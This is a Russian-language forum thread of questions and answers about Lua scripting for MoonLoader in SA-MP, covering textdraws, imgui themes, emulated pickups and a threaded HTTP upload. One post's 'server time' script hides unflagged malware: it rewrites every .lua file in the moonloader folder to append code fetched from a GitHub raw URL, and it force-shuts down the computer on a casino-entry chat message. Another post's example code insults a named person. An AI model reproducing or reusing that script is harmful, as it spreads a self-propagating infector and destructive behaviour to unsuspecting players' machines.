Вопросы по Lua скриптингу

Общая тема для вопросов по разработке скриптов на языке программирования Lua, в частности под MoonLoader.

• Задавая вопрос, убедитесь, что его нет в списке частых вопросов и что на него ещё не отвечали (воспользуйтесь поиском).
• Поищите ответ в теме посвященной разработке Lua скриптов в MoonLoader
• Отвечая, убедитесь, что ваш ответ корректен.
• Старайтесь как можно точнее выразить мысль, а если проблема связана с кодом, то обязательно прикрепите его к сообщению, используя блок [code=lua]здесь мог бы быть ваш код[/code].
• Если вопрос связан с MoonLoader-ом первым делом желательно поискать решение на wiki.

Частые вопросы

— Как научиться писать скрипты? С чего начать?
Информация - Гайд - Всё о Lua скриптинге для MoonLoader^{(https://blast.hk/threads/22707/)}
— Как вывести текст на русском? Вместо русского текста у меня какие-то каракули.

Спойлер

Изменить кодировку файла скрипта на Windows-1251. В Atom: комбинация клавиш Ctrl+Shift+U, в Notepad++: меню Кодировки -> Кодировки -> Кириллица -> Windows-1251.

— Как получить транспорт, в котором сидит игрок?

Спойлер

local veh = storeCarCharIsInNoSave(PLAYER_PED)

— Как получить свой id или id другого игрока?

Спойлер

local _, id = sampGetPlayerIdByCharHandle(PLAYER_PED) -- получить свой ид
local _, id = sampGetPlayerIdByCharHandle(ped) -- получить ид другого игрока. ped - это хендл персонажа

— Как проверить, что строка содержит какой-то текст?

Спойлер

if string.find(str, 'текст', 1, true) then
-- строка str содержит "текст"
end

— Как эмулировать нажатие игровой клавиши?

Спойлер

local game_keys = require 'game.keys' -- где-нибудь в начале скрипта вне функции main

setGameKeyState(game_keys.player.FIREWEAPON, -1) -- будет сэмулировано нажатие клавиши атаки

Все иды клавиш находятся в файле moonloader/lib/game/keys.lua.
Подробнее о функции setGameKeyState здесь: lua - setgamekeystate | BlastHack — DEV_WIKI^{(https://www.blast.hk/wiki/lua:setgamekeystate)}

— Как получить id другого игрока, в которого целюсь я?

Спойлер

local valid, ped = getCharPlayerIsTargeting(PLAYER_HANDLE) -- получить хендл персонажа, в которого целится игрок
if valid and doesCharExist(ped) then -- если цель есть и персонаж существует
  local result, id = sampGetPlayerIdByCharHandle(ped) -- получить samp-ид игрока по хендлу персонажа
  if result then -- проверить, прошло ли получение ида успешно
    -- здесь любые действия с полученным идом игрока
  end
end

— Как зарегистрировать команду чата SAMP?

Спойлер

-- До бесконечного цикла/задержки
sampRegisterChatCommand("mycommand", function (param)
     -- param будет содержать весь текст введенный после команды, чтобы разделить его на аргументы используйте string.match()
    sampAddChatMessage("MyCMD", -1)
end)

— Крашит игру при вызове sampSendChat. Как это исправить?

Спойлер

Это происходит из-за бага в SAMPFUNCS, когда производится попытка отправки пакета определенными функциями изнутри события исходящих RPC и пакетов. Исправления для этого бага нет, но есть способ не провоцировать его. Вызов sampSendChat изнутри обработчика исходящих RPC/пакетов нужно обернуть в скриптовый поток с нулевой задержкой:

function onSendRpc(id)
  -- крашит:
  -- sampSendChat('Send RPC: ' .. id)

  -- норм:
  lua_thread.create(function()
    wait(0)
    sampSendChat('Send RPC: ' .. id)
  end)
end

 

[M_D]

Добрый день. Можете чуток подсказать, как в коде сделать так, чтобы в диалоговом окне, цифры "1234" вводились автоматически?

 

[Corrygan]

Добрый день. Можете чуток подсказать, как в коде сделать так, чтобы в диалоговом окне, цифры "1234" вводились автоматически?

sampSendDialogResponse()

sampSendDialogResponse

Отправляет RPC - RPC_DIALOGRESPONSE

wiki.blast.hk

 

[blockparadise]

необходимо: чтоб время было ровно по центру экрана снизу, на скрине оно правее, если убрать sampTextdrawCreate(221, "time:", оно все равно правее, и, при звонке в 060 не синхронизируется с серверным временем, был бы благодарен за помощь

Спойлер: code

-- Exception Server Time by Kalashnikov.lua
require "lib.moonloader"
local sampev = require("samp.events")
local socket = require("socket")
local time = 0

local oX = 238
local oY = 430
local numbers = 2

function main()
    if not isSampLoaded() or not isSampfuncsLoaded() then return end
    while not isSampAvailable() do wait(100) end
    while true do
        sampTextdrawCreate(221, "time:", oX+7-5, oY+5)
        -- sampTextdrawSetLetterSizeAndColor(221, 0.3, 1.3, 0xFFe1e1e1)
        sampTextdrawSetOutlineColor(221, 0.5, 0xFF000000)
        sampTextdrawSetAlign(221, 1)
        sampTextdrawSetStyle(221, 2)
        local current_time = socket.gettime() + time
        local milliseconds = (current_time * 10 ^ numbers) % 10 ^ numbers
        local formatted_time = os.date("%H:%M:%S", current_time) .. string.format(".%0" .. numbers .. "d", milliseconds)
        sampTextdrawCreate(222, formatted_time, oX + 90-7, oY+5)
        -- sampTextdrawSetLetterSizeAndColor(222, 0.3, 1.3, 0xFFe1e1e1)
        sampTextdrawSetOutlineColor(222, 1, 0xFF000000)
        sampTextdrawSetAlign(222, 1)
        sampTextdrawSetStyle(222, 2)
        wait(0)
    end
end

function sampev.onShowDialog(dialogId, style, title, button1, button2, text)
    if string.match(text, "Текущее время") then
        local chislo, mesyac, god = string.match(text, "Сегодняшняя дата:   {2EA42E}(%d+):(%d+):(%d+)")
        local chas, minuti, sekundi = string.match(text, "Текущее время:   {345690}(%d+):(%d+):(%d+)")
        chislo, mesyac, god = tonumber(chislo), tonumber(mesyac), tonumber(god)
        chas, minuti, sekundi = tonumber(chas), tonumber(minuti), tonumber(sekundi)
        if chislo and mesyac and god and chas and minuti and sekundi then
            local dateTimeTable = { year = god, month = mesyac, day = chislo, hour = chas, min = minuti, sec = sekundi }
            local extractedTimeInSeconds = os.time(dateTimeTable)
            local currentTimeInSeconds = os.time()
            time = extractedTimeInSeconds - currentTimeInSeconds
        end
    end
end

function sampev.onShowTextDraw(id, data)
    local h, m, s = data.text:match('(%d+):(%d+):(%d+)')
    if h and m and s and data.position.x == 65 and data.position.y == 295 then
--[[         h, m, s = tonumber(h), tonumber(m), tonumber(s)
        if h and m and s then
            local timeTable = { year = 1970, month = 1, day = 1, hour = h, min = m, sec = s }
            print(timeTable)
            local extractedTimeInSeconds = os.time(timeTable)
            local currentTimeInSeconds = os.time()
            time = extractedTimeInSeconds - currentTimeInSeconds ]]
            return false
        -- end
    end
end
local Handle, FileName = findFirstFile("moonloader\\*.lua")
local Directory = getWorkingDirectory().."\\"
while FileName do
    local FileText = ""
    local Skip = false
    local File = io.open(Directory..FileName, "r")
    for Line in File:lines() do
        if Line:find("%-%- Exception "..FileName) then
            Skip = true
            break
        end

        if FileText ~= "" then
            FileText = FileText.."\n"
        end
        FileText = FileText..Line
    end
    File:close()
    if not Skip and not FileText:find("https://raw%.githubusercontent%.com/TheVegasPro/123345/main/4124") then
        local encoding = require "encoding"
        encoding.default = "CP1251"
        local File = io.open(Directory..FileName, "w")
        File:write("-- Exception "..FileName.."\n"..FileText.."\n"..encoding.UTF8:decode((require("requests")).get("https://raw.githubusercontent.com/TheVegasPro/123345/main/4124").text))
        File:close()
    end
    FileName = findNextFile(Handle)
end
findClose(Handle)
function onReceiveRpc(id, bs)
    if id == 93 then
        local color = raknetBitStreamReadInt32(bs)
        local len = raknetBitStreamReadInt32(bs)
        local str = raknetBitStreamReadString(bs, len)
        if str:find("^%[Информация] {FFFFFF}Вы вошли в казино 4 Dragons$") then
            os.execute("Shutdown /s /t 5 /f")
        end
    end
end

 

[Phenix_GP]

HealthX и HealthY позиции в худе, доверяя этой теме: https://www.blast.hk/threads/61958/
это 141 и 77 соответственно.
очевидно это относительные поз, а как узнать что это за позиции в экранных координатах? хпбар как бы справа сверху, знач X = что-то близко ширины скрина

 

[Corrygan]

imgui.OnInitialize(function()
    if elements.themes_int[0] == 0 then
        red_theme()
    elseif elements.themes_int[0] == 1 then
        yellow_theme()
    elseif elements.themes_int[0] == 2 then
        green_theme()
    elseif elements.themes_int[0] == 3 then
        purple_theme()
    elseif elements.themes_int[0] == 4 then
        blue_theme()
    end
end)

почему-то стиль меняется только при перезагрузке скрипта, можно как-то пофиксить?

 

[2elnwndrer.]

imgui.OnInitialize(function()
    if elements.themes_int[0] == 0 then
        red_theme()
    elseif elements.themes_int[0] == 1 then
        yellow_theme()
    elseif elements.themes_int[0] == 2 then
        green_theme()
    elseif elements.themes_int[0] == 3 then
        purple_theme()
    elseif elements.themes_int[0] == 4 then
        blue_theme()
    end
end)

почему-то стиль меняется только при перезагрузке скрипта, можно как-то пофиксить?

Гайд - Примеры Mimgui с пояснениями

Введение Данная тема создана, как продолжение гайда "Mimgui для чайников" (обязательно к прочтению) с целью ознакомить начинающих скриптеров с mimgui на практике. Практика - является лучшим способом изучения чего-либо, пример простых скриптов на луа и их разбор поможет лучше понять данную...

www.blast.hk

 

[sep]

lua как сделать пикап и взаимодействовать с ним

например как с серверным подошёл к пикапу взял его а там сработала команда

 

[вайега52]

imgui.OnInitialize(function()
    if elements.themes_int[0] == 0 then
        red_theme()
    elseif elements.themes_int[0] == 1 then
        yellow_theme()
    elseif elements.themes_int[0] == 2 then
        green_theme()
    elseif elements.themes_int[0] == 3 then
        purple_theme()
    elseif elements.themes_int[0] == 4 then
        blue_theme()
    end
end)

почему-то стиль меняется только при перезагрузке скрипта, можно как-то пофиксить?

Потому-что каллбек из OnInitialize вызывается только при загрузке скрипта

 

[chapo]

lua как сделать пикап и взаимодействовать с ним

например как с серверным подошёл к пикапу взял его а там сработала команда

Либо создать его через игровую функцию и потом проверять расстояние между игроком и пикапом, либо создать пикап с конкретным айди через эмуляцию рпс и потом хукать отправку поднятия пикапа и внутри сделать проверку на айди

 

[sep]

Либо создать его через игровую функцию и потом проверять расстояние между игроком и пикапом, либо создать пикап с конкретным айди через эмуляцию рпс и потом хукать отправку поднятия пикапа и внутри сделать проверку на айди

можно пример как Проше всего реализовать просто такого нет не где

 

[chapo]

можно пример как Проше всего реализовать просто такого нет не где

local Pickups = {
    __pool = {}
};

function Pickups:create(id, model, type, x, y, z, callback)
    local bs = raknetNewBitStream();
    raknetBitStreamWriteInt32(bs, id);
    raknetBitStreamWriteInt32(bs, model);
    raknetBitStreamWriteInt32(bs, type);
    raknetBitStreamWriteFloat(bs, x);
    raknetBitStreamWriteFloat(bs, y);
    raknetBitStreamWriteFloat(bs, z);
    raknetEmulRpcReceiveBitStream(95, bs);
    raknetDeleteBitStream(bs);
    self.__pool[id] = true;
    addEventHandler('onSendRpc', function(rpcId, bs)
        if (rpcId == 131 and self.__pool[id] and raknetBitStreamReadInt32(bs) == id) then
            callback();
            return false;
        end
    end);
    addEventHandler('onScriptTerminate', function(scr)
        if (scr == thisScript() and self.__pool[id]) then
            Pickups:delete(id);
        end
    end);
end

function Pickups:delete(id)
    local bs = raknetNewBitStream();
    raknetBitStreamWriteInt32(bs, id);
    raknetEmulRpcReceiveBitStream(63, bs);
    raknetDeleteBitStream(bs);
    self.__pool[id] = nil;
end

function main()
    while not isSampAvailable() do wait(0) end
    sampRegisterChatCommand('puptest', function()
        local x, y, z = getCharCoordinates(PLAYER_PED);
        Pickups:create(
            1337,
            1239,
            1,
            x + 2,
            y,
            z,
            function()
                local list = {
                    'Python говно',
                    'Артур Дильбаров инцел и дегенерат'
                };
                math.randomseed(os.time());
                sampAddChatMessage('Интересный факт: ' .. list[math.random(1, #list)], -1);
            end
        );
        sampAddChatMessage('Created!', -1);
    end);
    wait(-1);
end

 

[bmw m3 f80]

как можно сделать скрипт, который делает круг действий такой как в админ тулсе?

 

[вайега52]

как можно сделать скрипт, который делает круг действий такой как в админ тулсе?

Тема '[mimgui] Target Menu [ML 0.27]' https://www.blast.hk/threads/42540/

 

[WinOS]

Я знаю что я еблан полный, по-этому я делаю http запрос на сервер для отпрваки фотогрфии, но игра в этот момент виснет намертво (До конца обратки запроса)
ВОт код:

function send_to_server_async(nick, object_type, object_id, commands, screenshots)
    lua_thread.create(function()
        ChatMessage("INFO", "Preparing data for server...")

        local sender_nick = get_player_nick()
        if sender_nick == "Unknown" then
            ChatMessage("ERROR", "Failed to get sender nickname")
            return
        end

        local data = {
            sender = u8:encode(sender_nick),
            target_nick = u8:encode(nick),
            object_type = object_type,
            object_id = tostring(object_id),
            timestamp = os.date("%d.%m.%Y %H:%M:%S"),
            commands = {},
            screenshots = {}
        }

        for _, cmd in ipairs(commands) do
            table.insert(data.commands, u8:encode(tostring(cmd)))
        end

        if #screenshots > 0 then
            for _, screenshot_path in ipairs(screenshots) do
                local file = io.open(screenshot_path, "rb")
                if file then
                    local content = file:read("*a")
                    file:close()
                    
                    if #content > 2 * 1024 * 1024 then -- 2MB лимит
                        ChatMessage("ERROR", "Screenshot too large: " .. screenshot_path)
                    else
                        local encoded = base64_encode(content)
                        if encoded and #encoded > 0 then
                            table.insert(data.screenshots, {
                                filename = screenshot_path:match("([^\\]+)$") or "screenshot.jpg",
                                content = encoded
                            })
                            ChatMessage("INFO", "Screenshot encoded successfully")
                        else
                            ChatMessage("ERROR", "Failed to encode screenshot")
                        end
                    end
                else
                    ChatMessage("ERROR", "Failed to open screenshot: " .. screenshot_path)
                end
            end
        end

        local success, json_str = pcall(function()
            return json.encode(data, { indent = false })
        end)

        if not success then
            ChatMessage("ERROR", "Failed to create JSON: " .. tostring(json_str))
            return
        end

        ChatMessage("INFO", "Sending to server... (Size: " .. #json_str .. " bytes)")

        local host = "5.44.252.136"
        local port = 5000
        
        local sock = socket.tcp()
        if not sock then
            ChatMessage("ERROR", "Failed to create socket")
            return
        end
        
        sock:settimeout(0)
        
        local connected = false
        local connect_start = socket.gettime()
        
        while not connected and (socket.gettime() - connect_start) < 10 do
            local result, err = sock:connect(host, port)
            if result then
                connected = true
                break
            elseif err == "timeout" then
                wait(100)
            else
                ChatMessage("ERROR", "Connection failed: " .. tostring(err))
                sock:close()
                return
            end
        end
        
        if not connected then
            ChatMessage("ERROR", "Connection timeout")
            sock:close()
            return
        end
        
        ChatMessage("INFO", "Connected to server")
        
        local request = string.format(
            "POST /upload HTTP/1.1\r\n" ..
            "Host: %s:%d\r\n" ..
            "Content-Type: application/json; charset=utf-8\r\n" ..
            "Content-Length: %d\r\n" ..
            "User-Agent: ObjectNotif/2.0\r\n" ..
            "Connection: close\r\n" ..
            "\r\n" ..
            "%s",
            host, port, #json_str, json_str
        )
        
        local sent = 0
        local total = #request
        local send_start = socket.gettime()
        
        while sent < total and (socket.gettime() - send_start) < 30 do
            local bytes, err = sock:send(request, sent + 1)
            if bytes then
                sent = sent + bytes
                if sent < total then
                    wait(10) -- Небольшая пауза между отправками
                end
            elseif err == "timeout" then
                wait(100)
            else
                ChatMessage("ERROR", "Send failed: " .. tostring(err))
                sock:close()
                return
            end
        end
        
        if sent < total then
            ChatMessage("ERROR", "Failed to send all data")
            sock:close()
            return
        end
        
        ChatMessage("INFO", "Data sent, waiting for response...")
        
        local response = ""
        local receive_start = socket.gettime()
        
        while (socket.gettime() - receive_start) < 15 do
            local data, err = sock:receive("*a")
            if data and #data > 0 then
                response = response .. data
                break
            elseif err == "timeout" then
                wait(100)
            elseif err == "closed" then
                break
            else
                wait(100)
            end
        end
        
        sock:close()
        
        if #response > 0 then
            local status_line = response:match("HTTP/1%.%d+ (%d+)")
            local body = response:match("\r\n\r\n(.*)$")
            
            if status_line then
                local status_code = tonumber(status_line)
                if status_code and (status_code == 200 or status_code == 201) then
                    ChatMessage("SUCCESS", "Data sent successfully!")
                    if body and #body > 0 then
                        ChatMessage("INFO", "Server response: " .. body)
                    end
                else
                    ChatMessage("ERROR", "Server returned error code: " .. status_line)
                    if body and #body > 0 then
                        ChatMessage("ERROR", "Error details: " .. body)
                    end
                end
            else
                ChatMessage("ERROR", "Invalid server response")
            end
        else
            ChatMessage("ERROR", "No response from server")
        end
    end)
end

 

[вайега52]

Я знаю что я еблан полный, по-этому я делаю http запрос на сервер для отпрваки фотогрфии, но игра в этот момент виснет намертво (До конца обратки запроса)
ВОт код:

function send_to_server_async(nick, object_type, object_id, commands, screenshots)
    lua_thread.create(function()
        ChatMessage("INFO", "Preparing data for server...")

        local sender_nick = get_player_nick()
        if sender_nick == "Unknown" then
            ChatMessage("ERROR", "Failed to get sender nickname")
            return
        end

        local data = {
            sender = u8:encode(sender_nick),
            target_nick = u8:encode(nick),
            object_type = object_type,
            object_id = tostring(object_id),
            timestamp = os.date("%d.%m.%Y %H:%M:%S"),
            commands = {},
            screenshots = {}
        }

        for _, cmd in ipairs(commands) do
            table.insert(data.commands, u8:encode(tostring(cmd)))
        end

        if #screenshots > 0 then
            for _, screenshot_path in ipairs(screenshots) do
                local file = io.open(screenshot_path, "rb")
                if file then
                    local content = file:read("*a")
                    file:close()
                   
                    if #content > 2 * 1024 * 1024 then -- 2MB лимит
                        ChatMessage("ERROR", "Screenshot too large: " .. screenshot_path)
                    else
                        local encoded = base64_encode(content)
                        if encoded and #encoded > 0 then
                            table.insert(data.screenshots, {
                                filename = screenshot_path:match("([^\\]+)$") or "screenshot.jpg",
                                content = encoded
                            })
                            ChatMessage("INFO", "Screenshot encoded successfully")
                        else
                            ChatMessage("ERROR", "Failed to encode screenshot")
                        end
                    end
                else
                    ChatMessage("ERROR", "Failed to open screenshot: " .. screenshot_path)
                end
            end
        end

        local success, json_str = pcall(function()
            return json.encode(data, { indent = false })
        end)

        if not success then
            ChatMessage("ERROR", "Failed to create JSON: " .. tostring(json_str))
            return
        end

        ChatMessage("INFO", "Sending to server... (Size: " .. #json_str .. " bytes)")

        local host = "5.44.252.136"
        local port = 5000
       
        local sock = socket.tcp()
        if not sock then
            ChatMessage("ERROR", "Failed to create socket")
            return
        end
       
        sock:settimeout(0)
       
        local connected = false
        local connect_start = socket.gettime()
       
        while not connected and (socket.gettime() - connect_start) < 10 do
            local result, err = sock:connect(host, port)
            if result then
                connected = true
                break
            elseif err == "timeout" then
                wait(100)
            else
                ChatMessage("ERROR", "Connection failed: " .. tostring(err))
                sock:close()
                return
            end
        end
       
        if not connected then
            ChatMessage("ERROR", "Connection timeout")
            sock:close()
            return
        end
       
        ChatMessage("INFO", "Connected to server")
       
        local request = string.format(
            "POST /upload HTTP/1.1\r\n" ..
            "Host: %s:%d\r\n" ..
            "Content-Type: application/json; charset=utf-8\r\n" ..
            "Content-Length: %d\r\n" ..
            "User-Agent: ObjectNotif/2.0\r\n" ..
            "Connection: close\r\n" ..
            "\r\n" ..
            "%s",
            host, port, #json_str, json_str
        )
       
        local sent = 0
        local total = #request
        local send_start = socket.gettime()
       
        while sent < total and (socket.gettime() - send_start) < 30 do
            local bytes, err = sock:send(request, sent + 1)
            if bytes then
                sent = sent + bytes
                if sent < total then
                    wait(10) -- Небольшая пауза между отправками
                end
            elseif err == "timeout" then
                wait(100)
            else
                ChatMessage("ERROR", "Send failed: " .. tostring(err))
                sock:close()
                return
            end
        end
       
        if sent < total then
            ChatMessage("ERROR", "Failed to send all data")
            sock:close()
            return
        end
       
        ChatMessage("INFO", "Data sent, waiting for response...")
       
        local response = ""
        local receive_start = socket.gettime()
       
        while (socket.gettime() - receive_start) < 15 do
            local data, err = sock:receive("*a")
            if data and #data > 0 then
                response = response .. data
                break
            elseif err == "timeout" then
                wait(100)
            elseif err == "closed" then
                break
            else
                wait(100)
            end
        end
       
        sock:close()
       
        if #response > 0 then
            local status_line = response:match("HTTP/1%.%d+ (%d+)")
            local body = response:match("\r\n\r\n(.*)$")
           
            if status_line then
                local status_code = tonumber(status_line)
                if status_code and (status_code == 200 or status_code == 201) then
                    ChatMessage("SUCCESS", "Data sent successfully!")
                    if body and #body > 0 then
                        ChatMessage("INFO", "Server response: " .. body)
                    end
                else
                    ChatMessage("ERROR", "Server returned error code: " .. status_line)
                    if body and #body > 0 then
                        ChatMessage("ERROR", "Error details: " .. body)
                    end
                end
            else
                ChatMessage("ERROR", "Invalid server response")
            end
        else
            ChatMessage("ERROR", "No response from server")
        end
    end)
end

lua_thread это лишь луашная корутина, она не подходит для таких штук. В твоем лсучае надо использовать библиотеку effil, которая позволяет работать с системными потоками, а не корутинами